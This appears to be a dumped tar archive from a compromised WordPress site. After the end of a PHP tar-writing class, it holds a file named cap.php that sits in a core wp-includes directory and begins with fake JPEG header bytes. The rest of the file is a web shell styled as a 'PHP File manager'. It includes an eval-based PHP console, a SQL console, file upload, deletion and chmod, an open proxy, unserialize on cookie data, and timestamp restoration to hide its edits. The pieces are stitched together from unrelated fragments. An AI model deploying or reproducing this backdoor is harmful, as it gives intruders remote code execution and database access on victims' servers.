		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

